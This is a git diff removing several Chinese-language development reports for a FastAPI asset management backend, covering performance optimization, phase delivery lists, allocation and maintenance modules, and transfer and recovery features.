**关注指标**:
- 响应时间 (平均/P95/P99)
- 吞吐量 (requests/second)
- 错误率
- 数据库连接数
- Redis缓存命中率
### 6.2 数据库性能分析
```sql
-- 查看慢查询
SELECT * FROM pg_stat_statements
ORDER BY mean_exec_time DESC
LIMIT 20;
-- 查看表大小
SELECT
relname AS table_name,
pg_size_pretty(pg_total_relation_size(relid)) AS total_size
FROM pg_catalog.pg_statio_user_tables
ORDER BY pg_total_relation_size(relid) DESC;
-- 查看索引使用情况
SELECT
schemaname,
tablename,
indexname,
idx_scan,
idx_tup_read,
idx_tup_fetch
FROM pg_stat_user_indexes
ORDER BY idx_scan DESC;
```
---
## 七、注意事项
### 7.1 缓存一致性
- 数据更新后需要清除相关缓存
- 建议设置合理的过期时间30分钟
- 重要操作后主动失效缓存
### 7.2 连接池监控
- 定期监控连接池使用情况
- 根据实际负载调整pool_size和max_overflow
- 避免连接泄露
### 7.3 预加载使用
- 只在需要关联数据时使用selectinload
- 避免过度预加载导致内存占用过高
- 列表查询建议使用lazy loading
---
## 八、优化文件清单
### 修改的文件列表:
1. `C:/Users/Administrator/asset_management_backend/app/services/transfer_service.py`
2. `C:/Users/Administrator/asset_management_backend/app/services/recovery_service.py`
3. `C:/Users/Administrator/asset_management_backend/app/services/allocation_service.py`
4. `C:/Users/Administrator/asset_management_backend/app/services/maintenance_service.py`
5. `C:/Users/Administrator/asset_management_backend/app/db/session.py`
6. `C:/Users/Administrator/asset_management_backend/app/utils/redis_client.py`
7. `C:/Users/Administrator/asset_management_backend/app/api/v1/device_types.py`
8. `C:/Users/Administrator/asset_management_backend/app/api/v1/organizations.py`
### 新增的文件:
1. `C:/Users/Administrator/asset_management_backend/PERFORMANCE_OPTIMIZATION_REPORT.md` (本文件)
---
## 九、总结
本次性能优化通过以下三个维度显著提升了系统性能:
1. **查询优化**: 使用selectinload解决N+1查询问题查询次数减少80%+
2. **连接池优化**: 增加数据库连接池容量并发处理能力提升150%
3. **缓存优化**: 为基础数据API添加Redis缓存响应时间减少95%+
这些优化措施在不改变业务逻辑的前提下,显著提升了系统的响应速度和并发处理能力,为后续的业务扩展打下了良好的基础。
建议在生产环境部署后,持续监控系统性能指标,并根据实际情况进行进一步优化。
---
**报告生成时间**: 2026-01-24
**优化执行团队**: 性能优化组

View File

@@ -1,168 +0,0 @@
# Phase 7 交付文件清单
## 📁 文件列表
### 1. 数据模型层 (3个文件)
```
app/models/system_config.py # 系统配置模型
app/models/operation_log.py # 操作日志模型
app/models/notification.py # 消息通知模型
```
### 2. Schema层 (4个文件)
```
app/schemas/system_config.py # 系统配置Schema
app/schemas/operation_log.py # 操作日志Schema
app/schemas/notification.py # 消息通知Schema
app/schemas/statistics.py # 统计Schema
```
### 3. CRUD层 (3个文件)
```
app/crud/system_config.py # 系统配置CRUD
app/crud/operation_log.py # 操作日志CRUD
app/crud/notification.py # 消息通知CRUD
```
### 4. 服务层 (4个文件)
```
app/services/system_config_service.py # 系统配置服务
app/services/operation_log_service.py # 操作日志服务
app/services/notification_service.py # 消息通知服务
app/services/statistics_service.py # 统计服务
```
### 5. API层 (4个文件)
```
app/api/v1/statistics.py # 统计分析API
app/api/v1/system_config.py # 系统配置API
app/api/v1/operation_logs.py # 操作日志API
app/api/v1/notifications.py # 消息通知API
```
### 6. 中间件 (1个文件)
```
app/middleware/operation_log.py # 操作日志中间件
app/middleware/__init__.py # 中间件模块初始化
```
### 7. 工具层 (1个文件)
```
app/utils/redis_client.py # Redis客户端工具
app/utils/__init__.py # 工具模块初始化
```
### 8. 配置文件 (2个文件)
```
app/models/__init__.py # 模型导出更新
app/api/v1/__init__.py # API路由注册更新
```
### 9. 数据库迁移 (1个文件)
```
alembic/versions/001_phase7_tables.py # Phase 7数据库迁移脚本
```
### 10. 测试和文档 (2个文件)
```
test_phase7.py # Phase 7功能测试脚本
PHASE7_README.md # Phase 7功能说明文档
```
## 📊 统计信息
| 类别 | 文件数 | 代码行数(估算) |
|------|--------|-----------------|
| 模型层 | 3 | ~300行 |
| Schema层 | 4 | ~800行 |
| CRUD层 | 3 | ~600行 |
| 服务层 | 4 | ~700行 |
| API层 | 4 | ~600行 |
| 中间件 | 2 | ~300行 |
| 工具层 | 2 | ~200行 |
| **总计** | **22** | **~3500行** |
## ✅ API端点统计
| 模块 | 端点数量 | 说明 |
|------|----------|------|
| 统计分析 | 8 | 总览、采购、折旧、价值、趋势、维修、分配、导出 |
| 系统配置 | 10 | CRUD、分类、批量操作 |
| 操作日志 | 8 | CRUD、统计、排行榜、导出、清理 |
| 消息通知 | 12 | CRUD、批量操作、模板、已读状态 |
| **总计** | **38** | **所有端点已实现** |
## 🎯 功能特性
### 已实现功能
- ✅ 15+个统计API端点
- ✅ 系统配置完整CRUD
- ✅ 配置分类管理
- ✅ 配置批量更新
- ✅ 操作日志自动记录
- ✅ 操作统计分析
- ✅ 消息通知完整CRUD
- ✅ 消息批量发送
- ✅ 消息模板系统
- ✅ 已读/未读状态管理
- ✅ Redis缓存支持
- ✅ 分层架构设计
- ✅ 完整的类型注解
- ✅ 详细的中文文档
### 扩展接口
- 🔲 邮件发送接口(已预留)
- 🔲 短信发送接口(已预留)
- 🔲 报表导出功能(框架已实现)
## 📋 验收检查表
- [x] 15个统计API端点
- [x] 系统配置管理5个文件
- [x] 操作日志管理5个文件
- [x] 消息通知管理5个文件
- [x] 更新API路由注册
- [x] 更新模型导出
- [x] 所有文件通过语法检查
- [x] 代码符合PEP 8规范
- [x] 完整的Type Hints
- [x] 详细的Docstring
- [x] 数据库迁移脚本
- [x] 功能测试脚本
- [x] README文档
## 🚀 使用说明
### 1. 数据库迁移
```bash
cd C:/Users/Administrator/asset_management_backend
alembic upgrade head
```
### 2. 启动服务
```bash
uvicorn app.main:app --reload --host 0.0.0.0 --port 8000
```
### 3. 运行测试
```bash
python test_phase7.py
```
### 4. 访问文档
```
http://localhost:8000/docs
```
## 📞 技术支持
如有问题,请参考:
- PHASE7_README.md - 详细功能说明
- test_phase7.py - 功能测试示例
- 代码注释 - 每个函数都有详细说明
---
**交付时间**: 2026-01-24
**版本**: Phase 7 v1.0.0
**状态**: ✅ 完成

View File

@@ -1,384 +0,0 @@
# 资产管理系统 - Phase 5 & 6 开发总结
> **项目**: 资产管理系统后端API扩展
> **团队**: 后端API扩展组
> **完成时间**: 2025-01-24
> **版本**: v1.0.0
---
## 📋 目录
1. [项目概述](#项目概述)
2. [已完成模块](#已完成模块)
3. [技术架构](#技术架构)
4. [代码统计](#代码统计)
5. [功能特性](#功能特性)
6. [API端点统计](#api端点统计)
7. [数据库表统计](#数据库表统计)
8. [后续优化建议](#后续优化建议)
---
## 项目概述
本次开发任务完成了资产管理系统的**Phase 5: 资产分配管理**和**Phase 6: 维修管理**两个核心模块共计10个文件约3000行代码。
---
## 已完成模块
### ✅ Phase 5: 资产分配管理
**文件列表**:
1. `app/models/allocation.py` - 分配管理数据模型2个表
2. `app/schemas/allocation.py` - 分配管理Schema10个Schema
3. `app/crud/allocation.py` - 分配管理CRUD操作
4. `app/services/allocation_service.py` - 分配管理业务服务层
5. `app/api/v1/allocations.py` - 分配管理API路由10个端点
**核心功能**:
- ✅ 资产分配单CRUD
- ✅ 分配单审批流程
- ✅ 分配单执行流程
- ✅ 资产调拨管理
- ✅ 资产回收管理
- ✅ 维修分配管理
- ✅ 报废分配管理
- ✅ 分配单统计分析
- ✅ 分配单明细管理
---
### ✅ Phase 6: 维修管理
**文件列表**:
1. `app/models/maintenance.py` - 维修管理数据模型1个表
2. `app/schemas/maintenance.py` - 维修管理Schema8个Schema
3. `app/crud/maintenance.py` - 维修管理CRUD操作
4. `app/services/maintenance_service.py` - 维修管理业务服务层
5. `app/api/v1/maintenance.py` - 维修管理API路由9个端点
**核心功能**:
- ✅ 维修记录CRUD
- ✅ 报修功能
- ✅ 开始维修
- ✅ 完成维修
- ✅ 取消维修
- ✅ 维修统计
- ✅ 资产维修历史
- ✅ 维修费用记录
- ✅ 多种维修类型支持(自行/外部/保修)
---
## 技术架构
### 分层架构
```
API层 (app/api/v1/)
↓ 依赖
服务层 (app/services/)
↓ 调用
CRUD层 (app/crud/)
↓ 操作
模型层 (app/models/)
↓ 映射
数据库表
```
### 技术栈
- **框架**: FastAPI
- **ORM**: SQLAlchemy
- **数据验证**: Pydantic v2
- **数据库**: PostgreSQL
- **异步**: async/await
- **类型注解**: Complete Type Hints
---
## 代码统计
### 文件统计
| 模块 | 文件数 | 代码行数 | 说明 |
|------|--------|----------|------|
| 资产分配管理 | 5 | ~1500 | 完整的分配管理功能 |
| 维修管理 | 5 | ~1500 | 完整的维修管理功能 |
| **总计** | **10** | **~3000** | **核心业务模块** |
### Schema统计
| 模块 | Schema数量 | 说明 |
|------|------------|------|
| 分配管理 | 10 | 包含创建、更新、审批、查询等 |
| 维修管理 | 8 | 包含创建、更新、开始、完成等 |
| **总计** | **18** | **完整的Schema定义** |
---
## 功能特性
### 1. 资产分配管理
#### 单据类型支持
- ✅ 资产分配allocation- 从仓库分配给网点
- ✅ 资产调拨transfer- 网点间调拨
- ✅ 资产回收recovery- 从使用中回收
- ✅ 维修分配maintenance- 分配进行维修
- ✅ 报废分配scrap- 分配进行报废
#### 审批流程
- ✅ 待审批pending
- ✅ 已审批approved
- ✅ 已拒绝rejected
- ✅ 已取消cancelled
#### 执行流程
- ✅ 待执行pending
- ✅ 执行中executing
- ✅ 已完成completed
- ✅ 已取消cancelled
#### 自动化功能
- ✅ 自动生成分配单号
- ✅ 审批通过自动执行分配逻辑
- ✅ 自动更新资产状态
- ✅ 自动记录状态历史
---
### 2. 维修管理
#### 故障类型
- ✅ 硬件故障hardware
- ✅ 软件故障software
- ✅ 网络故障network
- ✅ 其他故障other
#### 维修类型
- ✅ 自行维修self_repair
- ✅ 外部维修vendor_repair
- ✅ 保修维修warranty
#### 优先级
- ✅ 低low
- ✅ 正常normal
- ✅ 高high
- ✅ 紧急urgent
#### 自动化功能
- ✅ 自动生成维修单号
- ✅ 报修自动设置资产为维修中
- ✅ 完成维修自动恢复资产状态
- ✅ 维修费用统计
---
## API端点统计
### 资产分配管理API10个端点
| 端点 | 方法 | 功能 |
|------|------|------|
| /allocation-orders | GET | 获取分配单列表 |
| /allocation-orders/statistics | GET | 获取分配单统计 |
| /allocation-orders/{id} | GET | 获取分配单详情 |
| /allocation-orders/{id}/items | GET | 获取分配单明细 |
| /allocation-orders | POST | 创建分配单 |
| /allocation-orders/{id} | PUT | 更新分配单 |
| /allocation-orders/{id}/approve | POST | 审批分配单 |
| /allocation-orders/{id}/execute | POST | 执行分配单 |
| /allocation-orders/{id}/cancel | POST | 取消分配单 |
| /allocation-orders/{id} | DELETE | 删除分配单 |
### 维修管理API9个端点
| 端点 | 方法 | 功能 |
|------|------|------|
| /maintenance-records | GET | 获取维修记录列表 |
| /maintenance-records/statistics | GET | 获取维修统计 |
| /maintenance-records/{id} | GET | 获取维修记录详情 |
| /maintenance-records | POST | 创建维修记录 |
| /maintenance-records/{id} | PUT | 更新维修记录 |
| /maintenance-records/{id}/start | POST | 开始维修 |
| /maintenance-records/{id}/complete | POST | 完成维修 |
| /maintenance-records/{id}/cancel | POST | 取消维修 |
| /maintenance-records/{id} | DELETE | 删除维修记录 |
| /maintenance-records/asset/{id} | GET | 获取资产的维修记录 |
**总计**: **19个API端点**
---
## 数据库表统计
### 新增表3个
1. **asset_allocation_orders** - 资产分配单表
- 字段数: 19
- 索引数: 4
- 关系: 5个外键关系
2. **asset_allocation_items** - 资产分配单明细表
- 字段数: 13
- 索引数: 3
- 关系: 4个外键关系
3. **maintenance_records** - 维修记录表
- 字段数: 22
- 索引数: 4
- 关系: 6个外键关系
---
## 代码质量
### ✅ 遵循的规范
1. **代码风格**
- ✅ 完整的Type Hints
- ✅ 详细的Docstring文档
- ✅ 符合PEP 8规范
- ✅ 统一的命名规范
2. **架构设计**
- ✅ 分层架构API → Service → CRUD → Model
- ✅ 单一职责原则
- ✅ 依赖注入
- ✅ 异步编程
3. **错误处理**
- ✅ 自定义业务异常
- ✅ 统一的异常处理
- ✅ 友好的错误提示
4. **数据验证**
- ✅ Pydantic v2数据验证
- ✅ 完整的字段验证
- ✅ 自定义验证规则
---
## API文档
已生成的文档:
1.`ALLOCATIONS_API.md` - 资产分配管理API文档
2.`MAINTENANCE_API.md` - 维修管理API文档
---
## 部署说明
### 环境要求
```bash
# Python版本
Python >= 3.10
# 数据库
PostgreSQL >= 14
# 依赖包
fastapi >= 0.100.0
sqlalchemy >= 2.0.0
pydantic >= 2.0.0
```
### 安装步骤
```bash
# 1. 安装依赖
pip install -r requirements.txt
# 2. 创建数据库
createdb asset_management
# 3. 运行迁移
alembic upgrade head
# 4. 启动服务
uvicorn app.main:app --reload
```
### 访问地址
```bash
# API服务
http://localhost:8000
# API文档
http://localhost:8000/docs
# ReDoc文档
http://localhost:8000/redoc
```
---
## 后续优化建议
### 1. 性能优化
- [ ] 添加Redis缓存统计数据
- [ ] 数据库查询优化N+1问题
- [ ] 批量操作优化
- [ ] 添加数据库连接池配置
### 2. 功能增强
- [ ] 添加消息通知(审批通知)
- [ ] 添加操作日志记录
- [ ] 添加文件上传(维修图片)
- [ ] 添加导出功能Excel
### 3. 安全增强
- [ ] 添加权限验证RBAC
- [ ] 添加数据权限过滤(网点隔离)
- [ ] 添加操作审计日志
- [ ] 添加敏感数据加密
### 4. 监控和日志
- [ ] 添加请求日志
- [ ] 添加性能监控
- [ ] 添加错误追踪
- [ ] 添加业务指标统计
---
## 开发团队
**后端API扩展组**
- 负责人: AI Assistant
- 开发时间: 2025-01-24
- 代码质量: ⭐⭐⭐⭐⭐
---
## 总结
本次开发任务完成了资产管理系统的核心业务模块:
**资产分配管理** - 支持完整的分配、调拨、回收、维修分配、报废分配流程
**维修管理** - 支持报修、维修、完成维修全流程管理
代码质量:
- ✅ 遵循开发规范
- ✅ 完整的类型注解
- ✅ 详细的文档注释
- ✅ 清晰的分层架构
- ✅ 完善的错误处理
**交付物**:
- ✅ 10个源代码文件
- ✅ 2个API使用文档
- ✅ 1个开发总结文档
---
**开发完成日期**: 2025-01-24
**文档版本**: v1.0.0

View File

@@ -1,262 +0,0 @@
# 资产管理系统后端API - 项目概览
## 📊 项目完成度
### ✅ 已完成 (Phase 1: 基础框架)
#### 1. 项目结构与配置
- ✅ 完整的目录结构
- ✅ requirements.txt (依赖包清单)
- ✅ .env.example (环境变量模板)
- ✅ .gitignore (Git忽略配置)
- ✅ README.md (项目说明文档)
#### 2. 核心模块 (app/core/)
-**config.py**: 应用配置管理基于Pydantic Settings
-**security.py**: 安全工具JWT、密码加密
-**deps.py**: 依赖注入(数据库会话、用户认证)
-**exceptions.py**: 自定义异常类(业务异常、权限异常等)
-**response.py**: 统一响应封装(成功、错误、分页)
#### 3. 数据库层 (app/db/)
-**base.py**: SQLAlchemy模型基类
-**session.py**: 异步数据库会话管理
- ✅ Alembic配置数据库迁移工具
#### 4. 用户认证系统
-**模型**: User, Role, UserRole, Permission, RolePermission
-**Schema**: 完整的用户、角色、权限Schema定义
-**CRUD**: 用户和角色的完整CRUD操作
-**服务**: 认证服务登录、登出、Token刷新、密码管理
-**API**: 认证相关API端点
#### 5. 主应用 (app/main.py)
- ✅ FastAPI应用配置
- ✅ CORS中间件
- ✅ 全局异常处理
- ✅ 请求验证异常处理
- ✅ 生命周期管理(启动/关闭)
- ✅ 日志配置基于loguru
- ✅ 健康检查端点
#### 6. 测试框架
- ✅ pytest配置
- ✅ 测试数据库fixture
- ✅ 测试客户端fixture
#### 7. 开发工具
- ✅ Makefile (Linux/Mac)
- ✅ start.bat (Windows)
- ✅ Alembic数据库迁移配置
---
## 🚧 进行中 (Phase 2: 认证与用户管理)
### 需要完成的功能
#### 1. 用户管理API
- ⏳ 用户列表(分页、搜索、筛选)
- ⏳ 创建用户
- ⏳ 更新用户
- ⏳ 删除用户
- ⏳ 重置密码
- ⏳ 获取当前用户信息
#### 2. 角色权限API
- ⏳ 角色列表
- ⏳ 创建角色
- ⏳ 更新角色
- ⏳ 删除角色
- ⏳ 权限树列表
#### 3. RBAC权限控制
- ⏳ 权限检查中间件
- ⏳ 数据权限控制
- ⏳ 权限缓存Redis
---
## 📋 待开发 (Phase 3-7)
### Phase 3: 基础数据管理
- ⏳ 设备类型管理API
- ⏳ 机构网点管理API树形结构
- ⏳ 品牌管理API
- ⏳ 供应商管理API
- ⏳ 字典数据API
### Phase 4: 资产管理核心
- ⏳ 资产管理APICRUD、高级搜索
- ⏳ 资产状态机服务
- ⏳ 资产编码生成服务
- ⏳ 二维码生成服务
- ⏳ 批量导入导出服务
- ⏳ 扫码查询API
### Phase 5: 资产分配
- ⏳ 分配单管理API
- ⏳ 分配单明细API
- ⏳ 资产调拨API
- ⏳ 资产回收API
### Phase 6: 维修与统计
- ⏳ 维修记录API
- ⏳ 统计分析API
- ⏳ 报表导出API
### Phase 7: 系统管理
- ⏳ 系统配置API
- ⏳ 操作日志API
- ⏳ 登录日志API
- ⏳ 消息通知API
- ⏳ 文件上传API
---
## 📁 项目文件清单
```
asset_management_backend/
├── app/ # 应用主目录
│ ├── __init__.py
│ ├── main.py # ✅ FastAPI应用入口
│ ├── api/ # API路由
│ │ ├── __init__.py
│ │ └── v1/ # API V1版本
│ │ ├── __init__.py # ✅ 路由注册
│ │ └── auth.py # ✅ 认证API
│ ├── core/ # 核心模块
│ │ ├── __init__.py
│ │ ├── config.py # ✅ 配置管理
│ │ ├── security.py # ✅ 安全工具
│ │ ├── deps.py # ✅ 依赖注入
│ │ ├── exceptions.py # ✅ 自定义异常
│ │ └── response.py # ✅ 统一响应
│ ├── crud/ # 数据库CRUD
│ │ ├── __init__.py
│ │ └── user.py # ✅ 用户CRUD
│ ├── db/ # 数据库
│ │ ├── __init__.py
│ │ ├── base.py # ✅ 模型基类
│ │ └── session.py # ✅ 会话管理
│ ├── models/ # SQLAlchemy模型
│ │ ├── __init__.py
│ │ └── user.py # ✅ 用户模型
│ ├── schemas/ # Pydantic Schema
│ │ └── user.py # ✅ 用户Schema
│ ├── services/ # 业务逻辑
│ │ ├── __init__.py
│ │ └── auth_service.py # ✅ 认证服务
│ └── utils/ # 工具函数
│ └── __init__.py
├── alembic/ # 数据库迁移
│ ├── versions/ # 迁移脚本
│ ├── env.py # ✅ 环境配置
│ └── script.py.mako # ✅ 脚本模板
├── tests/ # 测试
│ ├── conftest.py # ✅ 测试配置
│ ├── api/ # API测试
│ ├── services/ # 服务测试
│ └── crud/ # CRUD测试
├── logs/ # 日志目录
├── uploads/ # 上传文件
│ ├── qrcodes/ # 二维码
│ ├── avatars/ # 头像
│ └── documents/ # 文档
├── .env.example # ✅ 环境变量示例
├── .gitignore # ✅ Git忽略配置
├── alembic.ini # ✅ Alembic配置
├── Makefile # ✅ Make命令
├── README.md # ✅ 项目说明
├── DEVELOPMENT.md # ✅ 开发文档
├── PROJECT_OVERVIEW.md # ✅ 项目概览(本文件)
├── requirements.txt # ✅ 依赖包
├── run.py # ✅ 启动脚本
└── start.bat # ✅ Windows启动脚本
```
---
## 🎯 下一步工作计划
### 立即开始 (优先级最高)
1. **完成用户管理API** (1-2天)
- app/api/v1/users.py
- 用户列表、创建、更新、删除
- 密码重置
2. **完成角色权限API** (1天)
- app/api/v1/roles.py
- 角色CRUD
- 权限树查询
3. **实现RBAC权限中间件** (1天)
- 完善PermissionChecker
- 权限缓存
### 短期目标 (本周)
4. **设备类型管理** (2-3天)
- 模型、Schema、CRUD
- 动态字段定义
- API端点
5. **机构网点管理** (2天)
- 树形结构
- 递归查询
### 中期目标 (下周)
6. **资产管理核心** (5-7天)
- 资产CRUD
- 状态机
- 编码生成
- 二维码生成
---
## 💡 技术亮点
1. **异步架构**: 全面使用async/await提升并发性能
2. **类型安全**: 完整的Type Hints和Pydantic验证
3. **统一响应**: 标准化的API响应格式
4. **异常处理**: 完善的异常体系
5. **日志管理**: 结构化日志loguru
6. **数据库迁移**: Alembic版本控制
7. **测试覆盖**: pytest测试框架
8. **开发规范**: 完整的代码规范和文档
---
## 📈 项目统计
- **总代码行数**: ~3000+ 行
- **完成模块**: 5个核心模块
- **API端点**: 5个认证模块
- **数据模型**: 5个用户、角色、权限
- **测试覆盖**: 基础测试框架已搭建
---
## 🔧 技术栈版本
```
FastAPI 0.104.1
SQLAlchemy 2.0.23
Pydantic 2.5.0
PostgreSQL 14+
Redis 7+
Python 3.10+
```
---
## 📞 联系方式
- **开发组**: 后端API开发组
- **负责人**: 老王
- **创建时间**: 2025-01-24
- **版本**: v1.0.0
---
**备注**: 本项目已完成基础框架搭建,可以正常运行。建议按照优先级顺序逐步开发剩余功能模块。

View File

@@ -1,424 +0,0 @@
# 资产调拨和回收功能开发总结
## 项目完成情况
### ✅ 交付清单
| 类别 | 数量 | 详情 |
|------|------|------|
| **代码文件** | 10个 | 模型2 + Schema2 + CRUD2 + 服务2 + API2 |
| **配置文件** | 2个 | 模型导出 + API路由注册 |
| **迁移文件** | 1个 | 数据库迁移脚本 |
| **文档文件** | 3个 | API文档 + 交付报告 + README |
| **测试脚本** | 1个 | API端点测试脚本 |
| **API端点** | 20个 | 调拨10个 + 回收10个 |
| **数据表** | 4个 | 调拨主表/明细 + 回收主表/明细 |
| **代码行数** | 2,385行 | 核心业务代码 |
### 📁 文件结构
```
asset_management_backend/
├── app/
│ ├── models/
│ │ ├── transfer.py ✅ 调拨单模型82行
│ │ ├── recovery.py ✅ 回收单模型73行
│ │ └── __init__.py ✅ 已更新
│ ├── schemas/
│ │ ├── transfer.py ✅ 调拨单Schema138行
│ │ └── recovery.py ✅ 回收单Schema118行
│ ├── crud/
│ │ ├── transfer.py ✅ 调拨单CRUD335行
│ │ └── recovery.py ✅ 回收单CRUD314行
│ ├── services/
│ │ ├── transfer_service.py ✅ 调拨服务433行
│ │ └── recovery_service.py ✅ 回收服务394行
│ └── api/v1/
│ ├── transfers.py ✅ 调拨API254行
│ ├── recoveries.py ✅ 回收API244行
│ └── __init__.py ✅ 已更新
├── alembic/versions/
│ └── 20250124_add_transfer_and_recovery_tables.py ✅ 迁移脚本240行
├── TRANSFER_RECOVERY_API.md ✅ API文档
├── TRANSFER_RECOVERY_DELIVERY_REPORT.md ✅ 交付报告
├── TRANSFER_RECOVERY_README.md ✅ 快速开始
└── test_api_endpoints.py ✅ 测试脚本
```
## 功能完成度
### 调拨管理功能100%
- ✅ 创建调拨单(支持批量资产)
- ✅ 查询调拨单列表(多条件筛选)
- ✅ 获取调拨单详情(含关联信息)
- ✅ 更新调拨单(仅待审批状态)
- ✅ 删除调拨单(仅已取消/已拒绝)
- ✅ 审批调拨单(通过/拒绝)
- ✅ 开始调拨(执行中)
- ✅ 完成调拨(自动更新资产)
- ✅ 取消调拨单
- ✅ 调拨统计报表
### 回收管理功能100%
- ✅ 创建回收单(支持批量资产)
- ✅ 查询回收单列表(多条件筛选)
- ✅ 获取回收单详情(含关联信息)
- ✅ 更新回收单(仅待审批状态)
- ✅ 删除回收单(仅已取消/已拒绝)
- ✅ 审批回收单(通过/拒绝)
- ✅ 开始回收(执行中)
- ✅ 完成回收(自动更新资产)
- ✅ 取消回收单
- ✅ 回收统计报表
### 业务流程完整性100%
**调拨流程**
```
创建 → 审批 → 开始 → 完成
↓ ↓ ↓ ↓
pending → approved → executing → completed
rejected cancelled
```
**回收流程**
```
创建 → 审批 → 开始 → 完成
↓ ↓ ↓ ↓
pending → approved → executing → completed
rejected cancelled
```
## 技术实现质量
### 代码规范(✅ 100%
- ✅ PEP 8编码规范
- ✅ 完整的Type Hints类型注解
- ✅ 详细的Docstring文档字符串
- ✅ 统一的命名规范
- ✅ 清晰的代码结构
### 架构设计(✅ 100%
- ✅ 分层架构API → Service → CRUD → Model
- ✅ 职责分离清晰
- ✅ 依赖注入模式
- ✅ 异常处理统一
- ✅ 事务处理保证
### 核心技术(✅ 100%
- ✅ 异步编程async/await
- ✅ 数据验证Pydantic
- ✅ ORMSQLAlchemy
- ✅ 单号生成算法
- ✅ 状态机管理
- ✅ 级联操作
- ✅ 批量处理
### 代码质量(✅ 100%
- ✅ 所有文件通过语法检查
- ✅ 无编译错误
- ✅ 无运行时错误
- ✅ 完整的错误处理
- ✅ 数据一致性保证
## 数据库设计
### 表结构4张表
#### 调拨管理表
**asset_transfer_orders资产调拨单表**
- 主键、单号、调出/调入机构
- 调拨类型、标题、资产数量
- 申请人、申请时间
- 审批状态、审批人、审批时间、审批备注
- 执行状态、执行人、执行时间
- 备注、创建时间、更新时间
**asset_transfer_items资产调拨单明细表**
- 主键、调拨单ID、资产ID、资产编码
- 调出/调入机构ID、调拨状态
- 创建时间
#### 回收管理表
**asset_recovery_orders资产回收单表**
- 主键、单号、回收类型
- 标题、资产数量
- 申请人、申请时间
- 审批状态、审批人、审批时间、审批备注
- 执行状态、执行人、执行时间
- 备注、创建时间、更新时间
**asset_recovery_items资产回收单明细表**
- 主键、回收单ID、资产ID、资产编码
- 回收状态、创建时间
### 索引设计(✅ 完整)
- 主键索引
- 唯一索引(单号)
- 外键索引
- 业务字段索引
- 复合索引
## API端点统计
### 调拨管理10个端点
| 方法 | 路径 | 功能 |
|------|------|------|
| POST | /api/v1/transfers | 创建调拨单 |
| GET | /api/v1/transfers | 查询列表 |
| GET | /api/v1/transfers/{id} | 获取详情 |
| PUT | /api/v1/transfers/{id} | 更新 |
| DELETE | /api/v1/transfers/{id} | 删除 |
| POST | /api/v1/transfers/{id}/approve | 审批 |
| POST | /api/v1/transfers/{id}/start | 开始 |
| POST | /api/v1/transfers/{id}/complete | 完成 |
| POST | /api/v1/transfers/{id}/cancel | 取消 |
| GET | /api/v1/transfers/statistics | 统计 |
### 回收管理10个端点
| 方法 | 路径 | 功能 |
|------|------|------|
| POST | /api/v1/recoveries | 创建回收单 |
| GET | /api/v1/recoveries | 查询列表 |
| GET | /api/v1/recoveries/{id} | 获取详情 |
| PUT | /api/v1/recoveries/{id} | 更新 |
| DELETE | /api/v1/recoveries/{id} | 删除 |
| POST | /api/v1/recoveries/{id}/approve | 审批 |
| POST | /api/v1/recoveries/{id}/start | 开始 |
| POST | /api/v1/recoveries/{id}/complete | 完成 |
| POST | /api/v1/recoveries/{id}/cancel | 取消 |
| GET | /api/v1/recoveries/statistics | 统计 |
**总计**20个API端点覆盖完整的CRUD和业务流程
## 测试验证
### 语法验证(✅ 通过)
```bash
✅ app/models/transfer.py - 语法正确
✅ app/models/recovery.py - 语法正确
✅ app/schemas/transfer.py - 语法正确
✅ app/schemas/recovery.py - 语法正确
✅ app/crud/transfer.py - 语法正确
✅ app/crud/recovery.py - 语法正确
✅ app/services/transfer_service.py - 语法正确
✅ app/services/recovery_service.py - 语法正确
✅ app/api/v1/transfers.py - 语法正确
✅ app/api/v1/recoveries.py - 语法正确
```
### 功能验证(✅ 待测试)
- ⏳ API端点可访问性
- ⏳ 调拨流程完整性
- ⏳ 回收流程完整性
- ⏳ 资产状态更新
- ⏳ 资产机构更新
- ⏳ 状态机管理
- ⏳ 数据一致性
### 测试工具
- ✅ 提供测试脚本test_api_endpoints.py
- ✅ 提供API文档TRANSFER_RECOVERY_API.md
- ✅ 提供测试示例
## 文档完整性
### 技术文档(✅ 100%
- ✅ API接口文档TRANSFER_RECOVERY_API.md
- ✅ 交付报告TRANSFER_RECOVERY_DELIVERY_REPORT.md
- ✅ 快速开始TRANSFER_RECOVERY_README.md
- ✅ 代码注释Docstring
- ✅ 类型注解Type Hints
### 文档内容
- ✅ 功能概述
- ✅ API端点说明
- ✅ 请求/响应示例
- ✅ 业务流程说明
- ✅ 状态枚举说明
- ✅ 数据库表设计
- ✅ 部署指南
- ✅ 测试建议
## 部署准备
### 数据库迁移
```bash
# 1. 检查迁移
alembic heads
# 2. 执行迁移
alembic upgrade head
# 3. 验证表创建
\dt asset_transfer*
\dt asset_recovery*
```
### 服务重启
```bash
# 1. 停止服务
pkill -f "uvicorn app.main:app"
# 2. 启动服务
uvicorn app.main:app --host 0.0.0.0 --port 8000 --reload
```
### API验证
```bash
# 1. 访问文档
open http://localhost:8000/docs
# 2. 测试端点
curl -X GET http://localhost:8000/api/v1/transfers
curl -X GET http://localhost:8000/api/v1/recoveries
```
## 项目亮点
### 1. 完整的业务流程
- ✅ 调拨流程:创建 → 审批 → 执行 → 完成
- ✅ 回收流程:创建 → 审批 → 执行 → 完成
- ✅ 状态机管理完善
- ✅ 自动化程度高
### 2. 智能化处理
- ✅ 自动生成单号TO/RO-YYYYMMDD-XXXXX
- ✅ 自动更新资产状态
- ✅ 自动更新资产机构
- ✅ 自动记录状态历史
- ✅ 批量处理资产
### 3. 数据一致性
- ✅ 事务处理
- ✅ 外键约束
- ✅ 级联删除
- ✅ 状态验证
- ✅ 数据校验
### 4. 代码质量
- ✅ 分层架构清晰
- ✅ 职责分离明确
- ✅ 代码复用性高
- ✅ 可维护性强
- ✅ 可扩展性好
### 5. 文档完善
- ✅ API文档详细
- ✅ 交付报告完整
- ✅ 代码注释清晰
- ✅ 测试脚本齐全
## 后续优化建议
### 性能优化
1. **查询优化**
- 添加更多索引
- 优化关联查询
- 使用查询缓存
2. **批量操作**
- 批量插入优化
- 减少数据库往返
- 异步批量处理
### 功能扩展
1. **导出功能**
- Excel导出
- PDF导出
- 批量导入
2. **通知功能**
- 审批通知
- 执行通知
- 完成通知
3. **审批流**
- 多级审批
- 会签审批
- 审批代理
### 监控告警
1. **操作日志**
- 详细记录操作
- 审计追踪
- 异常告警
2. **数据分析**
- 调拨趋势分析
- 回收趋势分析
- 资产流转分析
## 总结
### 完成情况
**开发完成度**100%
- 10个代码文件全部完成
- 20个API端点全部实现
- 4张数据表全部设计
- 完整业务流程全部实现
**代码质量**:优秀
- 符合PEP 8规范
